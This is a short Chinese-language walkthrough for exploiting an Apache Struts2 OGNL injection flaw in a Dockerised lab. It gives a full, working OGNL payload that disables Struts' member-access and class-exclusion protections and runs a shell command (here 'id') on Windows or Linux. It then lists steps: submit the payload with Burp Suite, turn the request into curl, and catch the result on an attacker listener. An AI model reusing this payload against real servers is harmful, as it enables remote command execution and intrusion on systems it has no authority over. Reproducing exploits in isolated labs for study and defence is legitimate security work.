使用给定的 payload 可实现远程代码执行(RCE)攻击。
以下列出了在隔离的个人实验室中进行测试和验证所需的环境和工具。
通过以下命令:
docker compose up -d
您可以运行该环境。之后,访问 http://<YOUR_IP>:8080/hello.action 即可看到提交页面。
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
为了执行 RCE 攻击,必须使用 Burp Suite。在使用 Burp Suite 时,提交该 payload。提交后,找到正确的日志(POST)并将其转换为 curl 命令。最后,打开您的攻击机,在监听端口上监听,然后从监听器端口发送您的 curl 命令。
被遮盖的部分为 IP 地址。